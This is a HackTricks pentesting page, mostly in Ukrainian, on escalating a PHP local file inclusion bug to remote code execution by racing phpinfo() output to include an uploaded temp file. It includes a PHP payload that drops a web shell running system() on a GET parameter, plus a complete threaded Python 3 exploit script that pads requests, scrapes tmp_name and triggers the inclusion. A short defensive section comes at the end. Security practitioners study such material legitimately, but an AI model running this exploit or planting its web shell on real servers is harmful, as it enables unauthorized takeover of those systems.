LFI to RCE via PHPInfo

Reading time: 7 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

Щоб експлуатувати цю техніку, вам потрібні всі з наступного:

  • Досяжна сторінка, яка виводить phpinfo().
  • Примітив Local File Inclusion (LFI), яким ви керуєте (наприклад, include/require на введенні користувача).
  • Увімкнені PHP file uploads (file_uploads = On). Будь-який PHP-скрипт приймає RFC1867 multipart uploads і створює тимчасовий файл для кожної завантаженої частини.
  • PHP worker повинен мати можливість записувати в налаштований upload_tmp_dir (або в системний тимчасовий каталог за замовчуванням), а ваш LFI повинен мати можливість include-ити цей шлях.

Класичний опис і оригінальний PoC:

  • Whitepaper: LFI with PHPInfo() Assistance (B. Moore, 2011)
  • Original PoC script name: phpinfolfi.py (see whitepaper and mirrors)

Tutorial HTB: https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s

Примітки щодо оригінального PoC

  • Вихід phpinfo() HTML-кодується, тому стрілка "=>" часто з'являється як "=>". Якщо ви повторно використовуєте старі скрипти, переконайтеся, що вони шукають обидва варіанти кодування при парсингу значення _FILES[tmp_name].
  • Ви повинні адаптувати payload (ваш PHP-код), REQ1 (запит до phpinfo() endpoint'у з урахуванням padding) і LFIREQ (запит до вашого LFI sink). Деяким цілям не потрібен null-byte (%00) термінатор і сучасні версії PHP його не враховують. Налаштуйте LFIREQ відповідно до вразливого sink'у.

Приклад sed (тільки якщо ви дійсно використовуєте старий Python2 PoC) для відповідності HTML-кодованої стрілки:

sed -i 's/\[tmp_name\] =>/\[tmp_name\] =>/g' phpinfolfi.py

Theory

  • Коли PHP отримує multipart/form-data POST із полем файлу, він записує вміст у тимчасовий файл (upload_tmp_dir або за замовчуванням ОС) і робить шлях доступним у $_FILES['']['tmp_name']. Файл автоматично видаляється в кінці запиту, якщо його не перемістити/не перейменувати.
  • Фішка в тому, щоб дізнатися тимчасове ім'я файлу і включити його через LFI до того, як PHP його очистить. phpinfo() виводить $_FILES, включно з tmp_name.
  • Збільшуючи розмір заголовків/параметрів запиту (padding), можна змусити ранні частини виводу phpinfo() бути скинутими до клієнта до завершення запиту, тож ви можете прочитати tmp_name, поки тимчасовий файл ще існує, і одразу ж звернутися до LFI з цим шляхом.

In Windows the temp files are commonly under something like C:\Windows\Temp\php*.tmp. In Linux/Unix they are usually in /tmp or the directory configured in upload_tmp_dir.

Attack workflow (step by step)

  1. Підготуйте невеликий PHP payload, який швидко встановить shell, щоб не програти в гонці (запис файлу зазвичай швидший, ніж очікування reverse shell):
<?php file_put_contents('/tmp/.p.php', '<?php system($_GET["x"]); ?>');
  1. Надішліть великий multipart POST безпосередньо на сторінку phpinfo(), щоб було створено тимчасовий файл, який містить ваш payload. Роздмухайте різні заголовки/cookies/параметри приблизно 5–10KB паддінгу, щоб сприяти ранньому виводу. Переконайтеся, що ім'я поля форми збігається з тим, що ви будете парсити в $_FILES.

  2. Поки відповідь phpinfo() ще стримується (streaming), парсіть часткове тіло, щоб витягнути $_FILES['']['tmp_name'] (HTML-кодований). Як тільки отримаєте повний абсолютний шлях (наприклад, /tmp/php3Fz9aB), запустіть свій LFI, щоб include() цей шлях. Якщо include() виконає тимчасовий файл до його видалення, ваш payload виконається і створить /tmp/.p.php.

  3. Використайте створений файл: GET /vuln.php?include=/tmp/.p.php&x=id (або куди завгодно ваш LFI дозволяє include), щоб надійно виконувати команди.

Tips

  • Використовуйте кілька паралельних workers, щоб підвищити шанси виграти race.
  • Розміщення паддінгу, що зазвичай допомагає: URL parameter, Cookie, User-Agent, Accept-Language, Pragma. Налаштовуйте під ціль.
  • Якщо вразливий sink додає розширення (наприклад, .php), вам не потрібен null byte; include() виконає PHP незалежно від розширення тимчасового файлу.

Мінімальний Python 3 PoC (socket-based)

Наведений нижче фрагмент зосереджений на критичних частинах і його легше адаптувати, ніж застарілий Python2 скрипт. Налаштуйте HOST, PHPSCRIPT (phpinfo endpoint), LFIPATH (path to the LFI sink) та PAYLOAD.

python
#!/usr/bin/env python3
import re, html, socket, threading

HOST = 'target.local'
PORT = 80
PHPSCRIPT = '/phpinfo.php'
LFIPATH = '/vuln.php?file=%s'  # sprintf-style where %s will be the tmp path
THREADS = 10

PAYLOAD = (
"<?php file_put_contents('/tmp/.p.php', '<?php system($_GET[\\"x\\"]); ?>'); ?>\r\n"
)
BOUND = '---------------------------7dbff1ded0714'
PADDING = 'A' * 6000
REQ1_DATA = (f"{BOUND}\r\n"
f"Content-Disposition: form-data; name=\"f\"; filename=\"a.txt\"\r\n"
f"Content-Type: text/plain\r\n\r\n{PAYLOAD}{BOUND}--\r\n")

REQ1 = (f"POST {PHPSCRIPT}?a={PADDING} HTTP/1.1\r\n"
f"Host: {HOST}\r\nCookie: sid={PADDING}; o={PADDING}\r\n"
f"User-Agent: {PADDING}\r\nAccept-Language: {PADDING}\r\nPragma: {PADDING}\r\n"
f"Content-Type: multipart/form-data; boundary={BOUND}\r\n"
f"Content-Length: {len(REQ1_DATA)}\r\n\r\n{REQ1_DATA}")

LFI = ("GET " + LFIPATH + " HTTP/1.1\r\nHost: %s\r\nConnection: close\r\n\r\n")

pat = re.compile(r"\\[tmp_name\\]\\s*=&gt;\\s*([^\\s<]+)")


def race_once():
s1 = socket.socket()
s2 = socket.socket()
s1.connect((HOST, PORT))
s2.connect((HOST, PORT))
s1.sendall(REQ1.encode())
buf = b''
tmp = None
while True:
chunk = s1.recv(4096)
if not chunk:
break
buf += chunk
m = pat.search(html.unescape(buf.decode(errors='ignore')))
if m:
tmp = m.group(1)
break
ok = False
if tmp:
req = (LFI % tmp).encode() % HOST.encode()
s2.sendall(req)
r = s2.recv(4096)
ok = b'.p.php' in r or b'HTTP/1.1 200' in r
s1.close(); s2.close()
return ok

if __name__ == '__main__':
hit = False
def worker():
nonlocal_hit = False
while not hit and not nonlocal_hit:
nonlocal_hit = race_once()
if nonlocal_hit:
print('[+] Won the race, payload dropped as /tmp/.p.php')
exit(0)
ts = [threading.Thread(target=worker) for _ in range(THREADS)]
[t.start() for t in ts]
[t.join() for t in ts]

Усунення несправностей

  • Ви ніколи не бачите tmp_name: переконайтеся, що ви дійсно робите POST multipart/form-data до phpinfo(). phpinfo() виводить $_FILES лише коли поле завантаження було присутнє.
  • Вивід не скидається рано: збільште padding, додайте більше великих заголовків або надішліть кілька одночасних запитів. Деякі SAPIs/буфери не скидають вміст, поки не досягнуть більших порогів; відрегулюйте відповідно.
  • Шлях LFI заблоковано open_basedir або chroot: потрібно вказати LFI на дозволений шлях або переключитися на інший LFI2RCE вектор.
  • Тека тимчасових файлів не /tmp: phpinfo() друкує повний абсолютний шлях tmp_name; використовуйте цей точний шлях у LFI.

Захисні нотатки

  • Ніколи не робіть phpinfo() доступним у production. Якщо потрібно, обмежте доступ за IP/auth і видаліть після використання.
  • Тримайте file_uploads вимкненим, якщо він не потрібен. Інакше обмежте upload_tmp_dir шляхом, недоступним для include() в додатку, і забезпечте сувору валідацію всіх шляхів для include/require.
  • Розглядайте будь-який LFI як критичний; навіть без phpinfo(), існують інші шляхи LFI→RCE.

LFI2RCE Via temp file uploads

LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS

LFI2RCE via Nginx temp files

LFI2RCE via Eternal waiting

Посилання

  • LFI With PHPInfo() Assistance whitepaper (2011) – дзеркало Packet Storm: https://packetstormsecurity.com/files/download/104825/LFI_With_PHPInfo_Assitance.pdf
  • PHP Manual – Завантаження методом POST: https://www.php.net/manual/en/features.file-upload.post-method.php

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks